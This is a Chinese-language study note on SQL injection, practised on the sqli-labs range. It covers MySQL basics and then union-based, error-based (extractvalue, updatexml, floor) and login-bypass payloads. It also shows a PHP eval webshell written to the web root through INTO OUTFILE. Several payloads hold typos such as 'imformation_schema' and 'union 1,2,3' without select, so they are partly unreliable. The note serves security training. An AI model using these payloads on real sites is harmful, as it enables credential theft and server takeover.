SQL注入笔记

〇、靶场搭建

工具:小皮 phpstudy、sqli-labs 靶场

首先安装小皮、拖入文件、设置靶场数据库的密码

一、MySQL 使用方法

SQL 增删改

SQL 分为:库、表、列、行

命令以";"结尾

数据库

登录

mysql -u root -p

查看数据库

show databases;

创建数据库"employees"并且设置 utf8 字符集

create database employees charset utf8;

删除数据库"employees"

drop database employees;

进入"employees"

use employees;

数据表

进入数据库"employees"后

创建数据表"employees",并写入数据

create table employee
(
	id int,
	name varchar(40),
	sex char(4),
	birthday date,
	job varchar(100)
);

查看数据表信息

show full columns from employee;

查看数据表的列表

select * from employee;

删除数据表

drop table employee;

修改数据表名称为"user"

rename table employee to user;

修改字符集

alter table user character set utf8;

数据列和数据行

写入内容

insert into user
(
	id,name,sex,birthday,job)
values
(
	1,'ctfstu','male','1999-05-01','IT')
;

QQ_1722501202290

增加一列"salary"内容

alter table user add salary decimal(8,2)#最大八位数,小数点后两位

QQ_1722501408288

修改所有"salary"为 5000

update user set salary = 5000;

修改 id=1 的行 的 name 为"benben"

update user set name='benben' where id=1;

修改 id=1 的行 的 name 为"benben2",salary 为 3000

update user set name='benben2',salary=3000 where id=1;

QQ_1722504963125

删除列

alter table user drop salary;

删除行

delete from user where job='it';

删除表

delete from user;

SQL 查询

基本词语:select、from、where

基本语句

基本参数指令:union、group by、order by、limit、and、or

常用函数:group_concat()、database()、version()

基本查询语句

select * from user where id=1;

select 后面跟着列名(*代表所有)

from 后面跟着表名

where 后面跟着条件

select * from user where id in ('4');#查询 id 包含4的

优先查询括号内容

select * from user where id=(select id from user where username="admin");

union 联合查询(同时查询两段内容)

select id from user union select email_id from emails

注意:联合查询前后的列数必须相等

select * from user where id=1 union select * from email where id=6;#user表有三列,email表有两列,查询失败

修改:

select * from user where id=1 union select *,3 from email where id=6;#user表有三列,email表有两列+一列填充列"3",查询成功

group by 和 order by

group by 一般用来分组,也可用来确定列数

select * from user where id=9 group by 2;#2为任意数字,一般用二分法排查直到报错

order by 一般用来排序,也可用来确定列数

select * from user where id=9 order by 2;#2为任意数字,一般用二分法排查直到报错

limit 限制输出

一般用于限数显示报错反馈信息

select * from user limit 0,3;

and 和 or

and 和 or 可判断闭合关系,利用其判断字符型还是数字型

其他常用函数

group_concat 合并为一行显示

select group_concat(username) from user;

QQ_1722961228731

select database() 查看数据库名称

select version() 查看数据库版本

二、SQL 注入

注入就是构造一条精巧的语句,查询想要的信息

注入点

可以实现注入的地方,通常是一个访问的链接

查询字段分类

字符型注入:输入的参数为字符串称为字符型

数字型注入:输入的参数为整型为数字型

注入方法分类

Union 联合注入:

报错注入:

布尔注入:

时间注入:

判断字符型还是数字型

使用 and 1=1 和 and 1=2

解释:如果是数字型,and 指令被解析,会报错;如果是字符型,and 被当做字符而不是指令

传入 id=1 和 id=2-1

解释:如果是数字型,2-1=1会传入1;如果是字符型,2-1被当做字符,不存在会报错

具体解释

QQ_1722961966802

闭合方式

分为:’、"、’)、")以及其他

解法:手动传入闭合符号判断,后把不需要的注释掉

注释常用:’–+’、‘#’、’%23’

Union 联合注入一般步骤(字符型)

注意:联合查询前后的列数必须相等

判断闭合方式

假设闭合方式是’

判断列数

假设3列

?id=1' order by 3 --+	#2用二分法排查直到报错

查询回显位置

传入

?id=1' union 1,2,3 --+

QQ_1722963248594

QQ_1722963338726

只回显第一行

修改 id=1为不存在的数字如 -1

?id=-1' union 1,2,3 --+

QQ_1722963578053

注入

?id=-1' union 1,2,database() --+

获取表名和列名

数据库:Imformation_schema

包含两个所需的数据表

tables:表名集合表 columns:列名集合表

QQ_1723015720890

where过滤显示table_schema是security的行

查询表名

?id=0' union select 1,table_name,3 from imformation_schema.table where table_schema=database() --+

假设查询到是user表

?id=0' union select 1,column_name,3 from imformation_schema.columns where table_schema=database() and table_name='user'--+

查询目标

?id=0' union select 1,group_concat(username,'_',password),3 from user --+

Union 联合注入一般步骤(数字型)

注意:联合查询前后的列数必须相等

判断列数

假设3列

?id=1 order by 3 --+	#2用二分法排查直到报错

查询回显位置

传入

?id=1 union 1,2,3 --+

QQ_1722963248594

QQ_1722963338726

只回显第一行

修改 id=1为不存在的数字如 -1

?id=-1 union 1,2,3 --+

QQ_1722963578053

注入

?id=-1 union 1,2,database() --+

获取表名和列名

数据库:Imformation_schema

包含两个所需的数据表

tables:表名集合表 columns:列名集合表

QQ_1723015720890

where过滤显示table_schema是security的行

查询表名

?id=0 union select 1,table_name,3 from imformation_schema.table where table_schema=database() --+

假设查询到是user表

?id=0 union select 1,column_name,3 from imformation_schema.columns where table_schema=database() and table_name='user'--+

查询目标

?id=0 union select 1,group_concat(username,'_',password),3 from user --+

extractvalue 报错注入一般步骤

先在"ctfstu"创建表"xml"

extractvalue() 查询 xml 里的内容,包含两个参数:

第一个参数:XML 文档对象名称(列名doc可随便写)

第二个参数:路径

正常查询:

select extractvalue(doc,'/book/title') from xml;

符号写错报错:

select extractvalue(doc,'~book/title') from xml;

image-20240813170833858

构造语句:

select extractvalue(doc,concat(0x7e,(select database()))) from xml;

其中concat(1,2)是拼接1,2的函数,0x7e是’~’,select database()可替换为其他注入语句

image-20240813171320020

substring()函数控制

substring(123123,3,4):123123 是显示内容;3 是从第 4 个字符显示;4 是一次显示 4 个字符

updatexml 报错注入一般步骤

updatexml(XML_document,Xpath_string,new_value)

第一个参数:XML填doc

第二个参数:路径,类比extractvalue

第三个参数:替换的数据

正常格式:

select updatexml(doc,'/book/auther/surname','1') from xml;

构造语句:

?id=1") and 1=updatexml(1,concat(0x7e,(select group_concat(username,password)from user)),3) --+

floor 报错注入一般步骤

涉及到的函数:

rand():随机返回0~1的小数

floor():小数向下取整(向上是celling())

concat_ws():三个参数,括号内数据用第一个字段连接起来

group by()

as:别名

count():汇总统计数量

limit:这里用于显示指定行数

?id=0' union select 1,count(*),concat_ws('_',(select concat('~',id,username,':',password)from user limit 0,1),floor(rand(0)*2)) as a from information_schema.table group by a --+

image-20240813175629121

select floor(rand()*2)from user;

生成user个行数0和1

image-20240813175922404

image-20240813180230711

image-20240813180548391

布尔盲注、时间盲注

利用真假值、sleep()判断,一般用 sqlmap 自动化

文件上传拿取 web shell

查看读取权限:

show variables like '%secure%';

into outfile:写入(必须知道一个可以写入的完整路径)

一句话木马:

<?php @eval($_POST['password']);?>

文件上传指令:

?id=-1')) union select 1,"<?php @eval($_POST['password']);?>" into outfile "D:\\php_study\\WWW\\ben.php" --+

然后使用蚁剑、中国菜刀链接,上传大马,反弹拿 webshell

Post 提交注入

使用 hackbar 、brup suite 提交

or 来绕过密码验证(万能密钥)

1' or 1=1 #

存在注入点

image-20240813190924486

之后联合注入

image-20240813191008187

HTTP 头注入——uagent注入

分析源代码

image-20240813191201777

网站的管理员,似乎是个萌新🤔,CTBUer